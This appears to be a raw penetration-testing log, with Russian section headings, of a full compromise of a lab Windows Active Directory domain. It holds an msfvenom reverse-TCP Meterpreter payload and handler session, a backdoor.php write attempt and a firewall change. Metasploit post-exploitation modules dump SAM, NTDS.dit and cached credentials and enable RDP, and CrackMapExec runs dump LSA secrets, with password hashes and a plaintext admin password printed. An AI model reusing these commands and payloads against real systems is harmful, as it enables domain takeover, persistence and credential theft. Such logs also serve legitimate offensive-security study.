  TCP    [::]:445               [::]:0                 LISTENING       4

  TCP    [::]:464               [::]:0                 LISTENING       536

  TCP    [::]:593               [::]:0                 LISTENING       708

  TCP    [::]:636               [::]:0                 LISTENING       536

  TCP    [::]:3268              [::]:0                 LISTENING       536

  TCP    [::]:3269              [::]:0                 LISTENING       536

  TCP    [::]:3389              [::]:0                 LISTENING       1572

  TCP    [::]:5985              [::]:0                 LISTENING       4

  TCP    [::]:9389              [::]:0                 LISTENING       1256

  TCP    [::]:47001             [::]:0                 LISTENING       4

  TCP    [::]:49152             [::]:0                 LISTENING       432

  TCP    [::]:49153             [::]:0                 LISTENING       824

  TCP    [::]:49154             [::]:0                 LISTENING       864

  TCP    [::]:49155             [::]:0                 LISTENING       536

  TCP    [::]:49157             [::]:0                 LISTENING       536

  TCP    [::]:49158             [::]:0                 LISTENING       536

  TCP    [::]:49159             [::]:0                 LISTENING       1220

  TCP    [::]:49164             [::]:0                 LISTENING       1752

  TCP    [::]:49165             [::]:0                 LISTENING       1380

  TCP    [::]:49168             [::]:0                 LISTENING       528

  TCP    [::]:49170             [::]:0                 LISTENING       1396

  TCP    [::]:49174             [::]:0                 LISTENING       2400

  TCP    [::]:49188             [::]:0                 LISTENING       1324

  TCP    [::1]:53               [::]:0                 LISTENING       1396

  TCP    [::1]:389              [::1]:49160            ESTABLISHED     536

  TCP    [::1]:389              [::1]:49161            ESTABLISHED     536

  TCP    [::1]:389              [::1]:54815            ESTABLISHED     536

  TCP    [::1]:49160            [::1]:389              ESTABLISHED     1436

  TCP    [::1]:49161            [::1]:389              ESTABLISHED     1436

  TCP    [::1]:54815            [::1]:389              ESTABLISHED     1396

  TCP    [fd2c:60b4:7f15:0:7494:32dd:efa1:e825]:53  [::]:0                 LISTENING       1396

  TCP    [fe80::7494:32dd:efa1:e825%12]:53  [::]:0                 LISTENING       1396

  TCP    [fe80::7494:32dd:efa1:e825%12]:389  [fe80::7494:32dd:efa1:e825%12]:54816  ESTABLISHED     536

  TCP    [fe80::7494:32dd:efa1:e825%12]:389  [fe80::7494:32dd:efa1:e825%12]:54820  ESTABLISHED     536

  TCP    [fe80::7494:32dd:efa1:e825%12]:49155  [fe80::7494:32dd:efa1:e825%12]:49196  ESTABLISHED     536

  TCP    [fe80::7494:32dd:efa1:e825%12]:49155  [fe80::7494:32dd:efa1:e825%12]:49265  ESTABLISHED     536

  TCP    [fe80::7494:32dd:efa1:e825%12]:49196  [fe80::7494:32dd:efa1:e825%12]:49155  ESTABLISHED     1324

  TCP    [fe80::7494:32dd:efa1:e825%12]:49265  [fe80::7494:32dd:efa1:e825%12]:49155  ESTABLISHED     536

  TCP    [fe80::7494:32dd:efa1:e825%12]:54816  [fe80::7494:32dd:efa1:e825%12]:389  ESTABLISHED     1324

  TCP    [fe80::7494:32dd:efa1:e825%12]:54820  [fe80::7494:32dd:efa1:e825%12]:389  ESTABLISHED     1324

  UDP    [fd2c:60b4:7f15:0:7494:32dd:efa1:e825]:53  *:*                                    1396

  UDP    [fd2c:60b4:7f15:0:7494:32dd:efa1:e825]:88  *:*                                    536

  UDP    [fd2c:60b4:7f15:0:7494:32dd:efa1:e825]:464  *:*                                    536

  UDP    [fe80::7494:32dd:efa1:e825%12]:53  *:*                                    1396

  UDP    [fe80::7494:32dd:efa1:e825%12]:88  *:*                                    536

  UDP    [fe80::7494:32dd:efa1:e825%12]:464  *:*                                    536

E_md4hash wrapper called.

Force user logoff how long after time expires?:       Never

Minimum password age (days):                          1

Maximum password age (days):                          42

Minimum password length:                              7

Length of password history maintained:                24

Lockout threshold:                                    Never

Lockout duration (minutes):                           30

Lockout observation window (minutes):                 30

Computer role:                                        PRIMARY

The command completed successfully.

E_md4hash wrapper called.

Alias name     administrators

Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------

Administrator

Domain Admins

Enterprise Admins

hacker

The command completed successfully.

E_md4hash wrapper called.

Share name   Resource                        Remark

-------------------------------------------------------------------------------

C$           C:\                             Default share

IPC$                                         Remote IPC

ADMIN$       C:\Windows                      Remote Admin

Desktop      C:\Users\Administrator\Desktop

NETLOGON     C:\Windows\SYSVOL\sysvol\xerosecurity.com\SCRIPTS

                                             Logon server share

SYSVOL       C:\Windows\SYSVOL\sysvol        Logon server share

The command completed successfully.

E_md4hash wrapper called.

Source        Description      HotFixID      InstalledBy          InstalledOn

------        -----------      --------      -----------          -----------

WIN-8MSB2D... Security Update  KB2862152     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Security Update  KB2868626     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Security Update  KB2876331     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2883200     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2884101     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2884846     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2887595     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Security Update  KB2888505     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2894029     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2894179     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2898514     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Security Update  KB2900986     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2901101     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2906956     XEROSECURITY\Admi... 11/14/2013...

WIN-8MSB2D... Update           KB2908174     XEROSECURITY\Admi... 11/14/2013...

E_md4hash wrapper called.

The account already exists.

More help is available by typing NET HELPMSG 2224.

E_md4hash wrapper called.

System error 1378 has occurred.

The specified account name is already a member of the group.

E_md4hash wrapper called.

The syntax of this command is:

NET GROUP

[groupname [/COMMENT:"text"]] [/DOMAIN]

             groupname {/ADD [/COMMENT:"text"] | /DELETE}  [/DOMAIN]

             groupname username [...] {/ADD | /DELETE} [/DOMAIN]

E_md4hash wrapper called.

Error: error Creating process(echo ^ > C:\inetpub\wwwroot\backdoor.php) 2

E_md4hash wrapper called.

ERROR: Invalid key name.

Type "REG ADD /?" for usage.

E_md4hash wrapper called.

IMPORTANT: Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall firewall" commands

instead of "netsh firewall", see KB article 947709

at http://go.microsoft.com/fwlink/?linkid=121488 .

Ok.

Подключение общих ресурсов

root@kali:/mnt/# mkdir win2012

root@kali:/mnt/# mount -t cifs -o username=Administrator,password=Password123$ //192.168.1.138/C$ /mnt/win2012/

METERPRETER SHELL

root@kali:/mnt/win2012# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4444 -f
 exe --platform w

No Arch selected, selecting Arch: x86_64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 510 bytes

root@kali:/mnt/win2012# ls -lh

total 933M

-rwxr-xr-x 1 root root 7.0K Jan 31 19:10 backdoor.exe

drwxr-xr-x 2 root root    0 Jul  4  2015 Boot

-r-xr-xr-x 1 root root 390K Nov 14  2013 bootmgr

-rwxr-xr-x 1 root root    1 Jun 18  2013 BOOTNXT

-r-xr-xr-x 1 root root 8.0K Jul  4  2015 BOOTSECT.BAK

drwxr-xr-x 2 root root    0 Aug 22  2013 Documents and Settings

drwxr-xr-x 2 root root    0 Jul  4  2015 inetpub

-rwxr-xr-x 1 root root 932M Jan 31 14:58 pagefile.sys

-rwxr-xr-x 1 root root 7.0K Jan 31 18:51 payload.exe

drwxr-xr-x 2 root root    0 Aug 22  2013 PerfLogs

drwxr-xr-x 2 root root    0 Jul  4  2015 ProgramData

dr-xr-xr-x 2 root root    0 Jul  4  2015 Program Files

drwxr-xr-x 2 root root    0 Aug 22  2013 Program Files (x86)

drwxr-xr-x 2 root root    0 Jul  4  2015 Recovery

drwxr-xr-x 2 root root    0 Nov 14  2013 $Recycle.Bin

drwxr-xr-x 2 root root    0 Jan 31 14:17 System Volume Information

dr-xr-xr-x 2 root root    0 Jul  4  2015 Users

drwxr-xr-x 2 root root    0 Jul  5  2015 Windows

msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description

   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

   LHOST     192.168.1.113    yes       The listen address

   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name

   --  ----

   0   Wildcard Target

msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.113:4444

msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) >

[*] Sending stage (1188911 bytes) to 192.168.1.138

[*] Meterpreter session 1 opened (192.168.1.113:4444 -> 192.168.1.138:53378) at 2016-01-31 19:11:58 -0500

msf exploit(handler) > sessions -l

Active sessions

===============

  Id  Type                   Information                            Connection

  --  ----                   -----------                            ----------

  1   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN-8MSB2DD52P9  192.168.1.113:4444 -> 
192.168.1.138:53378 (192.168.1.138)

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

Пост эксплуатация

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/enum_ad_computers

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

Domain Computers

================

 dNSHostName                       distinguishedName

 -----------                       -----------------

 WIN-8MSB2DD52P9.xerosecurity.com  CN=WIN-8MSB2DD52P9,OU=Domain Controllers,DC=xerosecurity,DC=com              

description  operatingSystem                    operatingSystemServicePack
 -----------  ---------------                    --------------------------
 Windows Server 2012 R2 Datacenter

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/smart_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Running module against WIN-8MSB2DD52P9

[*] Hashes will be saved to the database if one is connected.

[*] Hashes will be saved in loot in JtR password file format to:

[*] /root/.msf5/loot/20160131194836_default_192.168.1.138_windows.hashes_919916.txt

[+]     This host is a Domain Controller!

[*] Dumping password hashes...

[+]         Administrator:500:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

[+]         krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2b77d7cda13b836d669bea8ebbdb6464

[+]         user:1106:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

[+]         test3:1603:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

[+]         hacker:1604:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

[+]     user-XP$:1104:aad3b435b51404eeaad3b435b51404ee:9874f93eb39548c31e655bc688c89064

[+]     TEST-3F6416AC49$:1602:aad3b435b51404eeaad3b435b51404ee:a93c420761d5d783f1c3c674482e7d47

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/cachedump

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Executing module against WIN-8MSB2DD52P9

[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)

[*] Obtaining boot key...

[*] Obtaining Lsa key...

[*] Vista or above system

[*] Obtaining LK$KM...

[*] Dumping cached credentials...

[*] Hash are in MSCACHE_VISTA format. (mscash2)

[*] MSCACHE v2 saved in: /root/.msf5/loot/20160131194854_default_192.168.1.138_mscache2.creds_222028.txt

[*] John the Ripper format:

# mscash2

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/enum_computers

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Running module against WIN-8MSB2DD52P9

List of Domain Hosts for the primary Domain.

============================================

 Domain        Hostname         IPs

 ------        --------         ---

 XEROSECURITY  TEST-3F6416AC49  192.168.1.129

 XEROSECURITY  WIN-8MSB2DD52P9  192.168.1.138

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/credentials/
credential_collector

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Running module against WIN-8MSB2DD52P9

[+] Collecting hashes...

    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

    Extracted: krbtgt:aad3b435b51404eeaad3b435b51404ee:2b77d7cda13b836d669bea8ebbdb6464

    Extracted: user:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

    Extracted: test3:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

    Extracted: hacker:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665

    Extracted: WIN-8MSB2DD52P9$:aad3b435b51404eeaad3b435b51404ee:58171b080def3d75833dcc4588956059

    Extracted: user-XP$:aad3b435b51404eeaad3b435b51404ee:9874f93eb39548c31e655bc688c89064

    Extracted: TEST-3F6416AC49$:aad3b435b51404eeaad3b435b51404ee:a93c420761d5d783f1c3c674482e7d47

[+] Collecting tokens...

    IIS APPPOOL\DefaultAppPool

    NT AUTHORITY\IUSR

    NT AUTHORITY\LOCAL SERVICE

    NT AUTHORITY\NETWORK SERVICE

    NT AUTHORITY\SYSTEM

    Window Manager\DWM-2

    XEROSECURITY\Administrator

    NT AUTHORITY\ANONYMOUS LOGON

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/enum_domain

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[+] FOUND Domain: xerosecurity

[+] FOUND Domain Controller: WIN-8MSB2DD52P9 (IP: 192.168.1.138)

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/manage/enable_rdp

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Enabling Remote Desktop

[*]     RDP is disabled; enabling it ...

[*] Setting Terminal Services service startup mode

[*]     The Terminal Services service is not set to auto, changing it to auto ...

[*]     Opening port in local firewall if necessary

[*] For cleanup execute Meterpreter resource file: /root/.msf5/loot/20160131195101_default_192.168.1.138
_host.windows.cle_069757.txt

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/credentials/
domain_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Volume Shadow Copy service not running. Starting it now...

[+] Volume Shadow Copy started successfully.

[*] Software Shadow Copy service not running. Starting it now...

[+] Software Shadow Copy started successfully.

[*] NTDS database copied to C:\Windows\Temp\XjxLdwoibp\Active Directory\ntds.dit

[*] Repairing NTDS database after copy...

[*]

Initiating REPAIR mode...

        Database: C:\Windows\Temp\XjxLdwoibp\Active Directory\ntds.dit

  Temp. Database: TEMPREPAIR160.EDB

Checking database integrity.

                     Scanning Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100

          |----|----|----|----|----|----|----|----|----|----|

          ...................................................

Integrity check successful.

Note:

  It is recommended that you immediately perform a full backup

  of this database. If you restore a backup made before the

  repair, the database will be rolled back to the state

  it was in at the time of that backup.

Operation completed successfully in 0.578 seconds.

[+]           Administrator (Built-in account for administering the computer/domain)

          Administrator:500:aad3b435b51404eeaad3b435b51404ee:B490B475E987909AE9BD83A65AA94665

          Password Expires: ay, January 1, 1601

          Last Password Change: 7:31:09 PM Saturday, January 30, 2016

          Last Logon: 12:42:59 AM Monday, February 1, 2016

          Logon Count: 54

          Hash History:

          Administrator:500:FA3FB68C6EDB18CB7583C80994C8C089:B490B475E987909AE9BD83A65AA94665

Administrator:500:BCD82078CE35C7829DE997CC8916E980:D47A1AAB4276F8B2C8260D6080CB4A6A

Administrator:500:1D1D058C94FD4ACFFA49846759673AEE:B490B475E987909AE9BD83A65AA94665

[+]          Guest (Built-in account for guest access to the computer/domain)

         Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

         Password Expires: Never

         Last Password Change: 12:00:00 AM Monday, January 1, 1601

         Last Logon: 12:00:00 AM Monday, January 1, 1601

         Logon Count: 0

          - Account Disabled

- Password Never Expires

- No Password Required

         Hash History:

[+] krbtgt (Key Distribution Center Service Account)

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2B77D7CDA13B836D669BEA8EBBDB6464

Password Expires: r

Last Password Change: 11:30:36 AM Saturday, July 4, 2015

Last Logon: 12:00:00 AM Monday, January 1, 1601

Logon Count: 0

 - Account Disabled

Hash History:

krbtgt:502:A2767649B8542D1D63AA332E6D42A321:2B77D7CDA13B836D669BEA8EBBDB6464

[+]           user ()

          user:1106:aad3b435b51404eeaad3b435b51404ee:B490B475E987909AE9BD83A65AA94665

          Password Expires: r

          Last Password Change: 7:31:37 PM Saturday, January 30, 2016

          Last Logon: 11:09:32 PM Saturday, January 30, 2016

          Logon Count: 5

           - Password Never Expires

          Hash History:

          user:1106:CA57574CC11A255FD2EBD16BFCD3B45F:B490B475E987909AE9BD83A65AA94665

user:1106:C3E26BFE0F884EDBCA0FDE2816978F2B:B490B475E987909AE9BD83A65AA94665

[+] test3 ()

test3:1603:aad3b435b51404eeaad3b435b51404ee:B490B475E987909AE9BD83A65AA94665

Password Expires: ay, January 1, 1601

Last Password Change: 7:16:30 PM Sunday, January 31, 2016

Last Logon: 12:00:00 AM Monday, January 1, 1601

Logon Count: 0

Hash History:

test3:1603:7D03E2B0385244D8FA5FD08D4CBCD034:B490B475E987909AE9BD83A65AA94665

[+] hacker ()

hacker:1604:aad3b435b51404eeaad3b435b51404ee:B490B475E987909AE9BD83A65AA94665

Password Expires: ay, January 1, 1601

Last Password Change: 8:40:50 PM Sunday, January 31, 2016

Last Logon: 12:00:00 AM Monday, January 1, 1601

Logon Count: 0

Hash History:

hacker:1604:D14E9C2FA1F1498C5CD4B1C2F6851AEE:B490B475E987909AE9BD83A65AA94665

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/enum_patches

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[+] KB2871997 is missing

[+] KB2928120 is missing

[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)

[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008

[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2

[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity

[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1

[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/manage/nbd_server

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[-] Post failed: Msf::OptionValidateError The following options failed to validate: DEVICE.

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/credentials/idm

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Looking at Key S-1-5-21-1088676282-494858925-2056655024-500

[*] IDM not installed for this user.

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> use post/windows/gather/enum_shares

resource (/pentest/windows/metasploit-windows-post-exploitation.rc)> run

[*] Running against session 3

[*] The following shares were found:

[*]     Name: SYSVOL

[*]     Path: C:\Windows\SYSVOL\sysvol

[*]     Type: 0

[*]

[*]     Name: NETLOGON

[*]     Path: C:\Windows\SYSVOL\sysvol\xerosecurity.com\SCRIPTS

[*]     Type: 0

[*]

[*]     Name: Desktop

[*]     Path: C:\Users\Administrator\Desktop

[*]     Type: 0

[*]

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation2.rc)> use post/windows/gather/hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation2.rc)> run

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 3d33c6ea71133396933c08a0326e1da9...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

CRACKMAPEXEC

root@kali:/pentest/windows/CrackMapExec# python /pentest/windows/CrackMapExec/crackmapexec.py -u Administrator

-p Password123$ -d XEROSECURITY 192.168.1.129 --sam --lsa --ntds vss --shares --check-uac --sessions --disks 
--users --lusers

02-01-2016 15:35:12 [*] 192.168.1.129:445 is running Windows 5.1 (name:TEST-3F6416AC49) (domain:XEROSECURITY)

02-01-2016 15:35:12 [+] 192.168.1.129:445 Login successful XEROSECURITY\Administrator:Password123$

02-01-2016 15:35:12 [+] 192.168.1.129:445 Available shares:

02-01-2016 15:35:12           SHARE     Permissions

02-01-2016 15:35:12           -----     -----------

02-01-2016 15:35:12               C     READ, WRITE

02-01-2016 15:35:12              C$     READ, WRITE

02-01-2016 15:35:12       Downloads     READ, WRITE

02-01-2016 15:35:12            IPC$       NO ACCESS

02-01-2016 15:35:12          ADMIN$     READ, WRITE

02-01-2016 15:35:12 [+] 192.168.1.129:445 Dumping users:

02-01-2016 15:35:12 Administrator (500)/FullName:

02-01-2016 15:35:12 Administrator (500)/UserComment:

02-01-2016 15:35:12 Administrator (500)/PrimaryGroupId: 513

02-01-2016 15:35:12 Administrator (500)/BadPasswordCount: 0

02-01-2016 15:35:12 Administrator (500)/LogonCount: 11

02-01-2016 15:35:12 Guest (501)/FullName:

02-01-2016 15:35:12 Guest (501)/UserComment:

02-01-2016 15:35:12 Guest (501)/PrimaryGroupId: 513

02-01-2016 15:35:12 Guest (501)/BadPasswordCount: 0

02-01-2016 15:35:12 Guest (501)/LogonCount: 0

02-01-2016 15:35:12 hacker (1005)/FullName:

02-01-2016 15:35:12 hacker (1005)/UserComment:

02-01-2016 15:35:12 hacker (1005)/PrimaryGroupId: 513

02-01-2016 15:35:12 hacker (1005)/BadPasswordCount: 0

02-01-2016 15:35:12 hacker (1005)/LogonCount: 0

02-01-2016 15:35:12 HelpAssistant (1000)/FullName: Remote Desktop Help Assistant Account

02-01-2016 15:35:12 HelpAssistant (1000)/UserComment:

02-01-2016 15:35:12 HelpAssistant (1000)/PrimaryGroupId: 513

02-01-2016 15:35:12 HelpAssistant (1000)/BadPasswordCount: 0

02-01-2016 15:35:12 HelpAssistant (1000)/LogonCount: 0

02-01-2016 15:35:12 SUPPORT_388945a0 (1002)/FullName: CN=Microsoft Corporation,L=Redmond,S=Washington,C=US

02-01-2016 15:35:12 SUPPORT_388945a0 (1002)/UserComment:

02-01-2016 15:35:12 SUPPORT_388945a0 (1002)/PrimaryGroupId: 513

02-01-2016 15:35:12 SUPPORT_388945a0 (1002)/BadPasswordCount: 0

02-01-2016 15:35:12 SUPPORT_388945a0 (1002)/LogonCount: 0

02-01-2016 15:35:12 test (1003)/FullName: test

02-01-2016 15:35:12 test (1003)/UserComment:

02-01-2016 15:35:12 test (1003)/PrimaryGroupId: 513

02-01-2016 15:35:12 test (1003)/BadPasswordCount: 0

02-01-2016 15:35:12 test (1003)/LogonCount: 16

02-01-2016 15:35:12 test2 (1004)/FullName:

02-01-2016 15:35:12 test2 (1004)/UserComment:

02-01-2016 15:35:12 test2 (1004)/PrimaryGroupId: 513

02-01-2016 15:35:12 test2 (1004)/BadPasswordCount: 0

02-01-2016 15:35:12 test2 (1004)/LogonCount: 1

02-01-2016 15:35:12 [+] 192.168.1.129:445 Dumping SAM hashes (uid:rid:lmhash:nthash):

02-01-2016 15:35:13 Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

02-01-2016 15:35:13 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

02-01-2016 15:35:13 HelpAssistant:1000:447873b78295638165d0a1a58736c426:c379debb205ae80e84bda1b3d430b6c8:::

02-01-2016 15:35:13 SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1534c54bed98875639d7e77ae9d51345:::

02-01-2016 15:35:13 test:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

02-01-2016 15:35:13 test2:1004:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:35:13 hacker:1005:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:35:13 [+] 192.168.1.129:445 Dumping LSA secrets:

02-01-2016 15:35:13 user:c158f3e72ab78ed2adb9d0fab0e1ec23:XEROSECURITY.COM:XEROSECURITY:::

02-01-2016 15:35:13 Administrator:0620d5420b059bf1ead3532f9ec4ddff:XEROSECURITY.COM:XEROSECURITY:::

02-01-2016 15:35:14 XEROSECURITY\TEST-3F6416AC49$:aad3b435b51404eeaad3b435b51404ee:
a93c420761d5d783f1c3c674482e7d47:::

02-01-2016 15:35:14 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantAccount:
720071002d003900460065007a00690070007200470061004a0074000000

02-01-2016 15:35:14 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantSID:
010500000000000515000000828ba628f094c85f43170a32e8030000

02-01-2016 15:35:14 DPAPI_SYSTEM:0100000084893622637e63afd446161a0249b443374fdd68233fd27564b784b541f
19bbcbcda5a7e05693f8f

02-01-2016 15:35:14 G${ED8F4747-E13D-47bc-856B-5CEFE1A81A7F}:2ee8a48cc675ba4aa2b32b037c32ebb7

02-01-2016 15:35:14 L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75:
5253413248000000000200003f00000001000100e9a52e38e90f138b941ebdece37e3c643c6a6f2f68d779d188ce16b
354fdff897e3c27cb55f4b55d3cfd5ead25ae6ae86b0849c7032eb030ecccba3b69de73d90000000000000000b50fd99
f804549ca0c1a06c0510d7a98f071fb6b02ac0ce137b7ec0a9a3faeec00000000e5d56aa025c0b721b75a59562bb913205
eeb89e591b7ea2e07c7997a41d333eb000000001d3526e3eab3f2587cb983a996cf0db81ea63dc8af4542885727aa3d56a
d3ec700000000b19f20775ef94b976969fc0757cc2d22d346009ea3dc74705442d046689805b800000000adb28e6b1633
eccea3312962712e19ac5253e2bda457de521ad076a73da2122400000000214a49c8afe8d3a790fededa0545267b89d3c
e1ecf616e87684b1aba11de847a38df5ec26a40e93f10c908b8e7516df724fbb60f33a0153fb010135b372ed148000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000

02-01-2016 15:35:14 L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588:80090e78d173d101

02-01-2016 15:35:15 L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A}:2b23fd158334a16423fa09e1963b69715199
ef947aa74374fd650844049df5c02c3f1f9ab280603ef3338dec1095434693d095b28b5f6690

02-01-2016 15:35:15 NL$KM:8a70840d1b3283c55c58471ec992bfdb48318cf8c33fd3c883659b5e93fff6013fc6
c3b044e0669582e66eab377dcc8e979b287f7733111805a102cadb0ba553

02-01-2016 15:35:15 [+] 192.168.1.129:445 Dumping NTDS.dit secrets using the VSS method 
(domain\uid:rid:lmhash:nthash):

02-01-2016 15:35:15 [+] 192.168.1.129:445 Current active sessions:

02-01-2016 15:35:15 [+] 192.168.1.129:445 Available disks:

02-01-2016 15:35:15 A:

02-01-2016 15:35:15 C:

02-01-2016 15:35:15 D:

02-01-2016 15:35:15 [+] 192.168.1.129:445 Logged on users:

02-01-2016 15:35:15 XEROSECURITY\TEST-3F6416AC49$

02-01-2016 15:35:15 XEROSECURITY\user WIN-8MSB2DD52P9

02-01-2016 15:35:15 TEST-3F6416AC49\test TEST-3F6416AC49

02-01-2016 15:35:15 XEROSECURITY\Administrator WIN-8MSB2DD52P9

02-01-2016 15:35:16 [-] 192.168.1.129:445 DCERPC Error: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND 
- The syst

root@kali:/pentest/windows/CrackMapExec# python /pentest/windows/CrackMapExec/crackmapexec.py -u Administrator

-p Password123$ -d XEROSECURITY 192.168.1.138 --sam --lsa --ntds vss --shares --check-uac --sessions 
--disks --users --lusers

02-01-2016 15:36:12 [*] 192.168.1.138:445 is running Windows 6.3 Build 9600 (name:WIN-8MSB2DD52P9) 
(domain:XEROSECURITY)

02-01-2016 15:36:12 [+] 192.168.1.138:445 Login successful XEROSECURITY\Administrator:Password123$

02-01-2016 15:36:12 [+] 192.168.1.138:445 Available shares:

02-01-2016 15:36:12           SHARE     Permissions

02-01-2016 15:36:12           -----     -----------

02-01-2016 15:36:12               C       NO ACCESS

02-01-2016 15:36:12          ADMIN$     READ, WRITE

02-01-2016 15:36:12            IPC$            READ

02-01-2016 15:36:12          SYSVOL            READ

02-01-2016 15:36:12         Desktop     READ, WRITE

02-01-2016 15:36:12        NETLOGON     READ, WRITE

02-01-2016 15:36:12              C$     READ, WRITE

02-01-2016 15:36:12 [+] 192.168.1.138:445 Dumping users:

02-01-2016 15:36:12 Administrator (500)/FullName:

